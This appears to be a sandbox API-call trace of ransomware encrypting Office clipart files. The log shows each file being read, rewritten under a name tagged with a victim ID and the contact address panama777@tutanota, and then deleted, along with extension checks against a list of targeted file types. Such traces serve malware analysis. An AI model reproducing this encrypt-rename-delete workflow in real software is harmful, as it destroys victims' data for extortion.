	[0258.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0258.723] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.723] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0258.723] GetLastError () returned 0x0
	[0258.723] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x6b0, lpOverlapped=0x0) returned 1
	[0258.733] WriteFile (in: hFile=0x274, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x6c0, lpOverlapped=0x0) returned 1
	[0258.734] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.734] WriteFile (in: hFile=0x274, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0258.734] SetEndOfFile (hFile=0x274) returned 1
	[0259.402] CloseHandle (hObject=0x274) returned 1
	[0259.402] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.402] SetEndOfFile (hFile=0x334) returned 1
	[0259.404] CloseHandle (hObject=0x334) returned 1
	[0259.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 1
	[0259.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63
	[0259.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63
	[0259.443] lstrlenW (lpString=".doc") returned 4
	[0259.443] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.443] lstrlenW (lpString=".docx") returned 5
	[0259.443] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.443] lstrlenW (lpString=".pdf") returned 4
	[0259.443] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.443] lstrlenW (lpString=".xls") returned 4
	[0259.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.443] lstrlenW (lpString=".xlsx") returned 5
	[0259.443] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.443] lstrlenW (lpString=".ppt") returned 4
	[0259.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63
	[0259.443] lstrlenW (lpString=".zip") returned 4
	[0259.443] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.443] lstrlenW (lpString=".rar") returned 4
	[0259.443] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.443] lstrlenW (lpString=".bz2") returned 4
	[0259.443] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.443] lstrlenW (lpString=".7z") returned 3
	[0259.443] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63
	[0259.444] lstrlenW (lpString=".dbf") returned 4
	[0259.444] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63
	[0259.444] lstrlenW (lpString=".1cd") returned 4
	[0259.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63
	[0259.444] lstrlenW (lpString=".jpg") returned 4
	[0259.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63
	[0259.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63
	[0259.444] lstrlenW (lpString=".doc") returned 4
	[0259.444] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.444] lstrlenW (lpString=".docx") returned 5
	[0259.444] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.444] lstrlenW (lpString=".pdf") returned 4
	[0259.444] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.444] lstrlenW (lpString=".xls") returned 4
	[0259.444] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.444] lstrlenW (lpString=".xlsx") returned 5
	[0259.444] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.444] lstrlenW (lpString=".ppt") returned 4
	[0259.444] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63
	[0259.444] lstrlenW (lpString=".zip") returned 4
	[0259.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.444] lstrlenW (lpString=".rar") returned 4
	[0259.444] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.444] lstrlenW (lpString=".bz2") returned 4
	[0259.444] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.444] lstrlenW (lpString=".7z") returned 3
	[0259.444] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63
	[0259.445] lstrlenW (lpString=".dbf") returned 4
	[0259.445] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63
	[0259.445] lstrlenW (lpString=".1cd") returned 4
	[0259.445] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63
	[0259.445] lstrlenW (lpString=".jpg") returned 4
	[0259.445] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.445] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.445] lstrlenW (lpString="BS00440_.WMF") returned 12
	[0259.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0259.459] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=5580) returned 1
	[0259.459] CloseHandle (hObject=0x35c) returned 1
	[0259.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x20
	[0259.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0259.543] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.544] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0259.544] GetLastError () returned 0x0
	[0259.544] ReadFile (in: hFile=0x354, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x15cc, lpOverlapped=0x0) returned 1
	[0259.548] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x15d0, lpOverlapped=0x0) returned 1
	[0259.548] ReadFile (in: hFile=0x354, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.548] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.549] SetEndOfFile (hFile=0x330) returned 1
	[0259.549] CloseHandle (hObject=0x330) returned 1
	[0259.549] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.549] SetEndOfFile (hFile=0x354) returned 1
	[0259.551] CloseHandle (hObject=0x354) returned 1
	[0259.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 1
	[0259.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63
	[0259.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63
	[0259.572] lstrlenW (lpString=".doc") returned 4
	[0259.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.572] lstrlenW (lpString=".docx") returned 5
	[0259.572] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.572] lstrlenW (lpString=".pdf") returned 4
	[0259.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.572] lstrlenW (lpString=".xls") returned 4
	[0259.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.572] lstrlenW (lpString=".xlsx") returned 5
	[0259.572] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.572] lstrlenW (lpString=".ppt") returned 4
	[0259.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63
	[0259.572] lstrlenW (lpString=".zip") returned 4
	[0259.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.572] lstrlenW (lpString=".rar") returned 4
	[0259.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.572] lstrlenW (lpString=".bz2") returned 4
	[0259.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.572] lstrlenW (lpString=".7z") returned 3
	[0259.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63
	[0259.572] lstrlenW (lpString=".dbf") returned 4
	[0259.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63
	[0259.573] lstrlenW (lpString=".1cd") returned 4
	[0259.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63
	[0259.573] lstrlenW (lpString=".jpg") returned 4
	[0259.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63
	[0259.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63
	[0259.573] lstrlenW (lpString=".doc") returned 4
	[0259.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.573] lstrlenW (lpString=".docx") returned 5
	[0259.573] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.573] lstrlenW (lpString=".pdf") returned 4
	[0259.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.573] lstrlenW (lpString=".xls") returned 4
	[0259.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.573] lstrlenW (lpString=".xlsx") returned 5
	[0259.573] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.573] lstrlenW (lpString=".ppt") returned 4
	[0259.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63
	[0259.573] lstrlenW (lpString=".zip") returned 4
	[0259.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.573] lstrlenW (lpString=".rar") returned 4
	[0259.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.573] lstrlenW (lpString=".bz2") returned 4
	[0259.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.573] lstrlenW (lpString=".7z") returned 3
	[0259.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63
	[0259.573] lstrlenW (lpString=".dbf") returned 4
	[0259.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63
	[0259.574] lstrlenW (lpString=".1cd") returned 4
	[0259.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63
	[0259.574] lstrlenW (lpString=".jpg") returned 4
	[0259.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.574] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.574] lstrlenW (lpString="BS00441_.WMF") returned 12
	[0259.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0259.574] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=3524) returned 1
	[0259.574] CloseHandle (hObject=0x350) returned 1
	[0259.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x20
	[0259.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0259.575] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.575] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0259.575] GetLastError () returned 0x0
	[0259.575] ReadFile (in: hFile=0x350, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0xdc4, lpOverlapped=0x0) returned 1
	[0259.582] WriteFile (in: hFile=0x33c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xdd0, lpOverlapped=0x0) returned 1
	[0259.583] ReadFile (in: hFile=0x350, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.583] WriteFile (in: hFile=0x33c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.583] SetEndOfFile (hFile=0x33c) returned 1
	[0259.583] CloseHandle (hObject=0x33c) returned 1
	[0259.583] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.583] SetEndOfFile (hFile=0x350) returned 1
	[0259.585] CloseHandle (hObject=0x350) returned 1
	[0259.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.586] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 1
	[0259.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63
	[0259.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63
	[0259.586] lstrlenW (lpString=".doc") returned 4
	[0259.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.586] lstrlenW (lpString=".docx") returned 5
	[0259.586] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.586] lstrlenW (lpString=".pdf") returned 4
	[0259.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.586] lstrlenW (lpString=".xls") returned 4
	[0259.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.586] lstrlenW (lpString=".xlsx") returned 5
	[0259.586] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.586] lstrlenW (lpString=".ppt") returned 4
	[0259.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63
	[0259.586] lstrlenW (lpString=".zip") returned 4
	[0259.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.586] lstrlenW (lpString=".rar") returned 4
	[0259.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.586] lstrlenW (lpString=".bz2") returned 4
	[0259.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.586] lstrlenW (lpString=".7z") returned 3
	[0259.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63
	[0259.587] lstrlenW (lpString=".dbf") returned 4
	[0259.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63
	[0259.587] lstrlenW (lpString=".1cd") returned 4
	[0259.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63
	[0259.587] lstrlenW (lpString=".jpg") returned 4
	[0259.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63
	[0259.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63
	[0259.587] lstrlenW (lpString=".doc") returned 4
	[0259.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.587] lstrlenW (lpString=".docx") returned 5
	[0259.587] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.587] lstrlenW (lpString=".pdf") returned 4
	[0259.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.587] lstrlenW (lpString=".xls") returned 4
	[0259.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.587] lstrlenW (lpString=".xlsx") returned 5
	[0259.587] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.587] lstrlenW (lpString=".ppt") returned 4
	[0259.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63
	[0259.587] lstrlenW (lpString=".zip") returned 4
	[0259.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.587] lstrlenW (lpString=".rar") returned 4
	[0259.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.587] lstrlenW (lpString=".bz2") returned 4
	[0259.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.588] lstrlenW (lpString=".7z") returned 3
	[0259.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63
	[0259.588] lstrlenW (lpString=".dbf") returned 4
	[0259.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63
	[0259.588] lstrlenW (lpString=".1cd") returned 4
	[0259.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63
	[0259.588] lstrlenW (lpString=".jpg") returned 4
	[0259.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.588] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.588] lstrlenW (lpString="BS00442_.WMF") returned 12
	[0259.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0259.588] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=2488) returned 1
	[0259.588] CloseHandle (hObject=0x350) returned 1
	[0259.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x20
	[0259.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
